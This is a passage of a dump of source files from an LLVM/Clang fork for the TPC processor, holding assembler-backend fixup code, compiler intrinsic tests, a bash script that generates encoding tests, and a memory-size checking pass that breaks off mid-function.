\"llvm/Support/raw_ostream.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"mccodeemitter\"\n\nnamespace llvm {\nMCAsmBackend *createTPCAsmBackend(const Target &T,\n const MCSubtargetInfo &STI,\n const MCRegisterInfo &MRI,\n const MCTargetOptions &Options) {\n const Triple &TheTriple = STI.getTargetTriple();\n return new TPCAsmBackend(T, TheTriple);\n}\n} //namespace llvm\n\nTPCAsmBackend::TPCAsmBackend(const Target& T, const Triple& TT)\n : MCAsmBackend(support::endianness::little) {\n}\n\nstd::unique_ptr<MCObjectTargetWriter> TPCAsmBackend::createObjectTargetWriter() const {\n return createTPCELFObjectWriter();\n}\n\nunsigned TPCAsmBackend::getNumFixupKinds() const {\n return TPC::NumTargetFixupKinds;\n}\n\nconst MCFixupKindInfo &TPCAsmBackend::getFixupKindInfo(MCFixupKind Kind) const {\n const static MCFixupKindInfo InfosLE[TPC::NumTargetFixupKinds] = {\n {\"fixup_loop\", 0, 16, MCFixupKindInfo::FKF_IsPCRel},\n {\"fixup_loop\", 0, 16, MCFixupKindInfo::FKF_IsPCRel}\n };\n if (Kind < FirstTargetFixupKind)\n return MCAsmBackend::getFixupKindInfo(Kind);\n\n assert(unsigned(Kind - FirstTargetFixupKind) < getNumFixupKinds() &&\n \"Invalid kind!\");\n return InfosLE[Kind - FirstTargetFixupKind];\n}\n\nvoid TPCAsmBackend::applyFixup(const MCAssembler &Asm, const MCFixup &Fixup,\n const MCValue &Target, MutableArrayRef<char> Data,\n uint64_t Value, bool IsResolved,\n const MCSubtargetInfo *STI) const {\n unsigned Offset = Fixup.getOffset();\n if (Fixup.getKind() == FK_Data_4) {\n void *Ptr = &Data[Fixup.getOffset()];\n memcpy(Ptr, &Value, sizeof(uint32_t));\n } else if (Fixup.getKind() == FK_PCRel_4) {\n int RelOffset = Value & 0xffffffff;\n unsigned InstrSize = TPCII::InstructionSize;\n LLVM_DEBUG( fprintf(stderr, \"applyFixup offset=%d reloc=%d comp=%d\\n\", Offset, RelOffset, (Data[Offset] & 3)); );\n\n assert(InstrSize % 64 == 0 && \"Instruction is not aligned to 64 bits anymore, fix relocations\");\n APInt Instruction(InstrSize, ArrayRef<uint64_t>((uint64_t*)(&Data[Offset]), InstrSize / 64));\n APInt ImmSlot(TPCII::ImmSize, RelOffset);\n Instruction |= ImmSlot.zext(InstrSize).shl(TPCII::ImmStart);\n\n const char* RawInstrucion = (const char*) Instruction.getRawData();\n for (unsigned i = 0; i < InstrSize / 8; ++i) {\n Data[Offset + i] = RawInstrucion[i];\n }\n } else if (Fixup.getKind() == MCFixupKind(TPC::FK_LOOP)) {\n assert(Value != 0 && \"Too short LOOP\");\n if ((Value & 0xffff) != Value) {\n report_fatal_error(\"Too many instructions in the LOOP - END_PC offset does not fit in 16 bits\");\n }\n unsigned InstrSize = TPCII::InstructionSize;\n int RelOffset = (Value & 0xffff) - TPCII::InstructionSize/8; // LoopEnd + 1\n LLVM_DEBUG( fprintf(stderr, \"applyFixup LOOP offset=%d reloc=%d comp=%d\\n\", Offset, RelOffset, (Data[Offset] & 3)); );\n\n APInt Instruction(TPCII::InstructionSize, ArrayRef<uint64_t>((uint64_t*)(&Data[Offset]), TPCII::InstructionSize / 64));\n APInt ImmSlot(TPCII::ImmSize, RelOffset);\n Instruction |= ImmSlot.zext(TPCII::InstructionSize).shl(TPCII::LoopOffsetStart);\n\n const char* RawInstrucion = (const char*) Instruction.getRawData();\n for (unsigned i = 0; i < InstrSize / 8; ++i) {\n Data[Offset + i] = RawInstrucion[i];\n }\n }\n\n}\n\nbool TPCAsmBackend::mayNeedRelaxation(const MCInst& Inst, const MCSubtargetInfo &STI) const {\n return false;\n}\n\nbool TPCAsmBackend::fixupNeedsRelaxation(const MCFixup& Fixup, uint64_t Value, const MCRelaxableFragment* DF, const MCAsmLayout& Layout) const {\n return false;\n}\n\nvoid TPCAsmBackend::relaxInstruction(const MCInst& Inst, const MCSubtargetInfo& STI, MCInst& Res) const {\n\n}\n\nbool TPCAsmBackend::writeNopData(raw_ostream &OS, uint64_t Count) const {\n //This should not be called, nops are inserted into bundles\n return true;\n}\n" }, { "alpha_fraction": 0.44354838132858276, "alphanum_fraction": 0.518433153629303, "avg_line_length": 30.373493194580078, "blob_id": "0a9fa6e07d90bcf61771b2afee23514cafaffc60", "content_id": "3a1e791eade2c165e8843f57c1fb997637df6d70", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2604, "license_type": "permissive", "max_line_length": 96, "num_lines": 83, "path": "/clang/test/RC99/Intrinsics/st_tnsr.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu dali %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(tensor input, int dest, _Bool pred) {\n int5 index = {0};\n int64 __local *vector_ptr = (int64 __local *)dest;\n\n {\n float64 __local *dest_ptr = (float64 __local *)vector_ptr;\n float64 res = 0;\n \n v_f32_st_tnsr(index, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n\n {\n int64 __local *dest_ptr = (int64 __local *)vector_ptr;\n int64 res = 0;\n\n v_i32_st_tnsr(index, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n uint64 __local *dest_ptr = (uint64 __local *)vector_ptr;\n uint64 res = 0;\n\n v_u32_st_tnsr(index + 1, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n short128 __local *dest_ptr = (short128 __local *)vector_ptr;\n short128 res = 0;\n\n v_i16_st_tnsr(index, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n ushort128 __local *dest_ptr = (ushort128 __local *)vector_ptr;\n ushort128 res = 0;\n\n v_u16_st_tnsr(index + 1, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n char256 __local *dest_ptr = (char256 __local *)vector_ptr;\n char256 res = 0;\n\n v_i8_st_tnsr(index, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n uchar256 __local *dest_ptr = (uchar256 __local *)vector_ptr;\n uchar256 res = 0;\n\n v_u8_st_tnsr(index + 1, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n bool256 __local *dest_ptr = (bool256 __local *)vector_ptr;\n bool256 res = 0;\n\n v_i1_st_tnsr(index, input, res, 0, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: st_tnsr 0x0, %I{{[0-9]+}}, %VP{{[0-9]+}}, %SP{{[0-9]+}}\n }\n}\n" }, { "alpha_fraction": 0.5233333110809326, "alphanum_fraction": 0.5933333039283752, "avg_line_length": 16.647058486938477, "blob_id": "3eea73438c28443c909aa7f7b431c2f37e6e188f", "content_id": "20d9ab8fbaa76f7c2317361082193d4af11e2e61", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 300, "license_type": "permissive", "max_line_length": 81, "num_lines": 17, "path": "/clang/test/RC99/variadic.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nint\nadd_em_up(int count, ...) // expected-error{{variadic functions are not allowed}}\n{\n\tint sum = 0;\n\treturn sum;\n}\n\nvoid\nmain(void)\n{\n\tint i = add_em_up(3, 5, 5, 6);\n\n\ti = add_em_up(10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10);\n\n}\n" }, { "alpha_fraction": 0.4695035517215729, "alphanum_fraction": 0.588652491569519, "avg_line_length": 32.57143020629883, "blob_id": "0637c729c2720b27976f2ad3ceef81ca3ed90bd7", "content_id": "b967139eb9abda04350937ef695302f408f1d216", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 705, "license_type": "permissive", "max_line_length": 131, "num_lines": 21, "path": "/clang/test/RC99/IntrinsicsM/or/i_i32_or_s_i_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x0, int x3)\n{\n \n int5 indx1 = {0,x0,0,x0,0};\n int5 res0 = 0; \n\n res0 = i_i32_or_s_i_b(1, indx1, res0, 20, x3, 0);\n float64 temp0 = 0;\n f32_st_tnsr_i_v(res0, 1, temp0);\n int5 res1 = 0; \n\n res1 = i_i32_or_s_i_b(x0, indx1, res1, 21, x3, 0);\n float64 temp1 = 0;\n f32_st_tnsr_i_v(res1, 1, temp1);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: or.i32 b10100 %I4, 0x1, %I2, %SP1\n//CHECK-ASM-DAG: or.i32 b10101 %I3, %S0, %I2, %SP1\n" }, { "alpha_fraction": 0.563426673412323, "alphanum_fraction": 0.5873146653175354, "avg_line_length": 22.346153259277344, "blob_id": "f9eb9c246a5b9f9f83071eb9c15ccf8e0c022930", "content_id": "73803289ac67421d8d7e3839579345f2c3f67f91", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1214, "license_type": "permissive", "max_line_length": 106, "num_lines": 52, "path": "/clang/test/RC99/encoding/utils/enc_tests.sh", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/bin/bash\nfunction TestGeneration() {\n arch=$1\n kernels=$2/src/kernels/$arch\n file=$3/$arch/$arch.txt\n pushd $kernels > /dev/null\n find . -name \"*.o\" | grep -v _x86 > $file\n popd > /dev/null\n\n echo \"Encoding tests generation for $arch ...\"\n while IFS= read -r line\n do\n d=$(echo \"$line\" | sed -r 's/.{2}$//')\n dst=$3/$arch/$d\n mkdir -p $dst\n dest=$(echo $dst)\n f=$(basename \"$line\")\n cp $kernels/$line $dest/$f\n f=$(echo $f.enc)\n cp $arch.tst $dest/$f\n done <\"$file\"\n}\n\narg1=$1\narg2=$2\nif [ \"$#\" -eq 2 ]; then\n if ! [ -d $var1 ]; then\n echo TPC kernels build directory ${arg1} does not exists\n\texit 1\n fi\n if [ -d $arg2 ]; then\n echo Target directory ${arg2} is not empty\n exit 1\n fi\n read -p \"Do you wish to create the target directory $arg2 ?\" yn\n case $yn in\n [Yy]* ) mkdir -p $arg2; break;;\n [Nn]* ) exit;;\n * ) echo \"Please answer yes or no.\";;\n esac\nelse\n echo \"Usage: enc_tests.sh <TPC kernels build directory> <Target directory to keep the generated tests>\"\n exit 1\nfi\n\necho \"Generation of encoding tests from $1 to $2\"\nmkdir $2/goya $2/gaudi\n\nTestGeneration goya $1 $2\nTestGeneration gaudi $1 $2\n\necho \"Done !!!\"\n" }, { "alpha_fraction": 0.36658167839050293, "alphanum_fraction": 0.4844757616519928, "avg_line_length": 34.65240478515625, "blob_id": "7e5ef14b8ac5a083121cd0e310261692f3967e91", "content_id": "c35ffb19075a11ea99102c9eda51d88b9eedcbb4", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6667, "license_type": "permissive", "max_line_length": 106, "num_lines": 187, "path": "/clang/test/RC99/Intrinsics/v_bf16_mac_acc32.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, _BFloat16 xs, int dest, _Bool pred, int vpreda) {\n bfloat128 __local *x0ptr = (bfloat128 __local *)x0a;\n bfloat128 __local *x1ptr = (bfloat128 __local *)x1a;\n float128 __local *dptr = (float128 __local *)dest;\n bool128 __local *vpptr = (bool128 __local *)vpreda;\n float128 res = { 0 };\n bfloat128 x0 = *x0ptr;\n bfloat128 x1 = *x1ptr;\n bool128 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_bf16_mac_acc32_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_bf16_mac_acc32_b(x0, x1, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_bf16_mac_acc32_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, x1, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_bf16_mac_acc32_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_bf16_mac_acc32_b(x0, xs, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_bf16_mac_acc32_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, xs, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_bf16_mac_acc32_b(x0, 1.5, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = v_bf16_mac_acc32_b(x0, 1.5, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = v_bf16_mac_acc32_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_b(x0, 1.5, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, 1.5, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, 1.5, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = v_bf16_mac_acc32_vb(x0, 1.5, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n bool256 vpred_c = from_bool128(vpred);\n\n // Vector + Vector\n\n res = av_bf16_mac_acc_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_bf16_mac_acc_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_bf16_mac_acc_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_v_vb(x0, x1, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_v_vb(x0, x1, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = av_bf16_mac_acc_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_bf16_mac_acc_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_bf16_mac_acc_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_s_vb(x0, xs, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_s_vb(x0, xs, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = av_bf16_mac_acc_v_s(x0, 1.5, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = av_bf16_mac_acc_v_s(x0, 1.5, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = av_bf16_mac_acc_v_s_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_s_b(x0, 1.5, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%SP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_s_vb(x0, 1.5, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = av_bf16_mac_acc_v_s_vb(x0, 1.5, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.3930692970752716, "alphanum_fraction": 0.49603959918022156, "avg_line_length": 30.5625, "blob_id": "8911353a75c9a138ec27992170f00b33be111fac", "content_id": "ab9ae99d44006e40f39f8e8e000f26616463524d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1010, "license_type": "permissive", "max_line_length": 106, "num_lines": 32, "path": "/clang/test/RC99/IntrinsicsM/mul/s_i16_mul.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(short x0, short x1, int dest, _Bool pred) {\n int __local *dptr = (int __local *)dest;\n int res = 0;\n\n res = s_i16_mul(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_i16_mul(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_i16_mul(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S0, %S1, !%SP{{[0-9]+}}\n\n res = s_i16_mul(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S0, 0x7b, %SP0\n\n res = s_i16_mul(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S0, 0x7b, %SP{{[0-9]+}}\n\n res = s_i16_mul(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S0, 0x7b, !%SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6495956778526306, "alphanum_fraction": 0.6522911190986633, "avg_line_length": 30.799999237060547, "blob_id": "e8514b250a447b832d1f33089c7a42e6736141ec", "content_id": "fee9b8727ad25aa8a3afbce90560f25dfed27959", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4452, "license_type": "permissive", "max_line_length": 97, "num_lines": 140, "path": "/llvm/lib/Target/TPC/TPCMemorySize.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCLutCacheCounter.cpp --- Optimizes predicates ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass:\n// - Generates warning when used LUT size exceeds LUT cache\n//\n//===----------------------------------------------------------------------===//\n#define DEBUG_TYPE \"tpc-small-vlm\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCFrameLowering.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCInstPrinter.h\"\n#include <set>\n#include <map>\n#include <sstream>\n\nusing namespace llvm;\n\nnamespace llvm {\n FunctionPass *\n createTPCMemorySize();\n void\n initializeTPCMemorySizePass(PassRegistry&);\n}\n\nstatic const char PassDescription[] =\n \"Detect Small VLM size usage\";\nstatic const char PassName[] = \"tpc-small-vlm\";\n\n\ncl::opt<bool> IgnoreMemOverflow(\"ignore-mem-overflow\",\n cl::desc(\"Change memory overflow error to warning\"),\n cl::init(false), cl::Hidden);\n\nnamespace {\n\n /// Extracts a numeric type identifier from an MDNode containing type metadata.\n unsigned readIntFromMetadata(MDNode *MD) {\n auto TM = dyn_cast<ValueAsMetadata>(MD->getOperand(0));\n assert(TM);\n auto C = dyn_cast<ConstantInt>(TM->getValue());\n return C->getZExtValue();\n }\n\n class TPCMemorySize: public MachineFunctionPass {\n public:\n static char ID;\n StringRef getPassName() const override {\n return PassDescription;\n }\n\n TPCMemorySize() : MachineFunctionPass(ID) {\n initializeTPCMemorySizePass(*PassRegistry::getPassRegistry());\n }\n bool runOnMachineFunction(MachineFunction &MF) override;\n private:\n const TPCSubtarget *Subtarget;\n void setMemorySize(const Module &M);\n };\n}\n\nchar TPCMemorySize::ID = 0;\n\nINITIALIZE_PASS(TPCMemorySize, PassName, PassDescription, false, false)\n\nFunctionPass * llvm::createTPCMemorySize() {\n return new TPCMemorySize();\n}\n\nvoid TPCMemorySize::setMemorySize(const Module &M) {\n unsigned ScalarSz = 0;\n\n if (NamedMDNode *N = M.getNamedMetadata(\"llvm.tpc.scalar_data\")) {\n assert(N && \"No data about data size\");\n assert(N->getNumOperands() == 1 && \"Invalid metadata format\");\n MDNode *V = N->getOperand(0);\n ScalarSz = readIntFromMetadata(V);\n }\n\n unsigned VectorSz = 0;\n if (NamedMDNode *N = M.getNamedMetadata(\"llvm.tpc.vector_data\")) {\n assert(N && \"No data about data size\");\n assert(N->getNumOperands() == 1 && \"Invalid metadata format\");\n MDNode *V = N->getOperand(0);\n VectorSz = readIntFromMetadata(V);\n }\n\n unsigned MaxScalarSz = Subtarget->getFrameLowering()->getMaxScalarMemory();\n if (ScalarSz > MaxScalarSz) {\n std::ostringstream Msg;\n Msg << \"too much scalar memory is used for statically allocated data: \"\n << ScalarSz << \" is allocated, but only \" << MaxScalarSz << \" is available\\n\";\n if (!IgnoreMemOverflow) {\n report_fatal_error(Msg.str(), false);\n } else {\n errs() << \"Warning: \" << Msg.str();\n }\n }\n unsigned MaxVectorSz = Subtarget->getFrameLowering()->getMaxVectorMemory();\n if (VectorSz > MaxVectorSz) {\n std::ostringstream Msg;\n Msg << \"too much vector memory is used for statically allocated data: \"\n << VectorSz << \" is allocated, but only \" << MaxVectorSz << \" is available\\n\";\n if (!IgnoreMemOverflow) {\n report_fatal_error(Msg.str(), false);\n } else {\n errs() << \"Warning: \" << Msg.str();\n }\n }\n\n Subtarget->getFrameLowering()->setScalarDataSize(ScalarSz);\n Subtarget->getFrameLowering()->setVectorDataSize(VectorSz);\n}\n\n\nbool TPCMemorySize::runOnMachineFunction(MachineFunction &MF) {\n Subtarget = &MF.getSubtarget<TPCSubtarget>();\n if(!Subtarget->getTargetLowering()->getTargetMachine().Options.LocalVectorMemory) {\n for (auto &BB : MF) {\n for (auto &MI : BB) {\n if 